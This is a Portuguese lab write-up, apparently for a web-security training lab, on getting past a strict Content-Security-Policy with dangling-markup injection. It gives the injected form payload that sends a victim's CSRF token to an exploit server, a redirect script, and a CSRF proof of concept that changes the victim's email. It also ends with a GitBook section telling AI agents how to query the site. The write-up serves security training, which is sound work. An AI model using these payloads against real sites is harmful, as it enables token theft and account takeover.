> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md).

# XSS Refletido Protegido por uma CSP Muito Restritiva: Ataque por Marcação Pendente

### XSS Refletido Protegido por CSP Muito Rígida, com Ataque de Marcação Pendente

#### Objetivo do laboratório

* Realize um ataque XSS que contorne a CSP e exfiltre o token CSRF de um usuário simulado (via Burp Collaborator).
* Em seguida, use esse token para alterar o endereço de e-mail da vítima para `hacker@evil-user.net`.
* O vetor visível para a vítima deve conter a palavra **Clique** (por exemplo, `Clique em mim`) para incentivá-la a clicar.
* Conta de teste: `wiener:peter`.

#### Observações iniciais

* No formulário de atualização de e-mail, adicionar `?email=` à URL controla o valor (`valor`) do `email` input.

<figure><img src="/files/5e3279f350cad4289c2c0b65d7034953cd2f6ee8" alt=""><figcaption></figcaption></figure>

O campo é vulnerável à injeção de tags HTML (exemplos de teste):

* `test"><h1>test</h1>` → `<h1>` é injetado e retornado.

```html
test"><h1>test</h1>
```

<figure><img src="/files/4607856e926e75208184c9c73a17c427ea7da505" alt="" width="422"><figcaption></figcaption></figure>

* `test"><script>alert(0)</script>` → `<script>` aparece no formulário, mas \*\*não é executado\*\*.

```javascript
test"><script>alert(0)</script>
```

<figure><img src="/files/230de183a5876d7ec9852c922bf7f7b554b8a447" alt="" width="429"><figcaption></figcaption></figure>

O console do navegador indica um bloqueio pela política de segurança:

{% hint style="danger" %}
Content-Security-Policy: As configurações da página bloquearam a execução de um script inline (script-src-elem) porque ele viola a seguinte diretiva: “script-src 'self'”
{% endhint %}

<figure><img src="/files/babf79525423ebc14d5e55d7404cd7086f708976" alt=""><figcaption></figcaption></figure>

Cabeçalho CSP observado:

`content-security-policy`/ `default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';`

<figure><img src="/files/b42202d05d17f0cfdc72ea5bca5edd92e3e2ff57" alt=""><figcaption></figcaption></figure>

#### Estratégia de ataque (marcação pendente)

* Em vez de injetar um `<script>` (bloqueado pela CSP), o formulário atual é fechado e um novo formulário\*\* é criado com o `action` atributo apontando para nosso servidor de exploração (exploit server). Este formulário contém um botão chamado "Clique em mim" para incentivar o usuário a clicar.

Exemplo de uma injeção que fecha o formulário e cria um novo (formato URL-encoded no redirecionamento):

{% code overflow="wrap" %}

```javascript
test"></form><form class="login-form" name"change-email-form" action="https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit" method="GET"><button class="button" type="submit">Clique em mim</button
```

{% endcode %}

<figure><img src="/files/86e147440440d55219a8b5864291e6ed784cb88a" alt=""><figcaption></figcaption></figure>

* Ao abrir este link a partir da máquina da vítima (por exemplo, via redirecionamento), se a vítima clicar no botão, o token CSRF é enviado na URL para o servidor de exploração e aparece nos logs do servidor oposto.

<figure><img src="/files/4bc1d88ce9f30de50ff69dfae2d91cc2e1b1a266" alt=""><figcaption></figcaption></figure>

#### Exemplo de redirecionamento injetado (para forçar o usuário a ir para a página vulnerável com a carga útil)

* Script injetado do lado atacante para redirecionar a vítima para a página da carga útil (URL codificada):

```javascript
<script>
location="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account?email=test%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name%22change-email-form%22%20action=%22https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClique%20em%20mim%3C/button"
</script>
```

* Assim que a vítima é redirecionada e clica no botão, o token CSRF é encontrado nos logs do servidor de exploração.

<figure><img src="/files/a20011bdd5e4b7b77dbdf5c1ec6a7af850d85e13" alt=""><figcaption></figcaption></figure>

#### Operação pós-exfiltração: uso do token CSRF para alterar o e-mail

* Após obter o token CSRF (dos logs do servidor de exploração), é criada uma página HTML que envia um POST para `/my-account/change-email` com:
* `email = hacker@evil-user.net`
* `CSRF = <token_obtido>`

<figure><img src="/files/ee16b567b0fb989a25ff337b24c0d50c2f6a4078" alt="" width="563"><figcaption></figcaption></figure>

Exemplo de PoC em HTML gerada (pelo Burp ou manualmente) para executar a requisição POST automatizada

<figure><img src="/files/e119891beb9a6e44188a0c0bce09690e588f1299" alt=""><figcaption></figcaption></figure>

```html
<html>
  <body>
    <form action="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil-user.net" />
      <input type="hidden" name="csrf" value="L0joiDIMrKKrO7jkqiC6sLYR5MNEbUfu" />
      <input type="submit" value="Enviar requisição" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
